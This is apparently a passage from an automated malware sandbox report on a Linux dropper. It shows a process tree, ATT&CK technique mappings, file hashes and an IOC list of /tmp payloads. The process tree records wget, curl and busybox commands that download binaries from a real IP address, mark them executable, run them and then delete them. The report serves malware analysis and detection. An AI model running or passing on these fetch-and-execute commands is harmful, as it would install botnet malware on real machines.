- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:1664
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:1665
- /usr/bin/wget
  wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:1666
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Writes file to tmp directory
  PID:1667
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:1668
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:1669
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:1670
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:1671

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LiiVzYOhazmna2819ZunGu4484qbQ8jNBf

Path /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	1507	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	1513	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	1520	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	1526	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	1532	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	1538	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	1544	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	1550	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	1556	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	1562	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	1568	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	1574	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	1580	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	1586	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	1592	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	1598	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	1604	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	1610	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	1616	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	1622	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	1628	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	1634	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	1640	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	1646	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	1652	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	1658	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	1664	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	1670	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL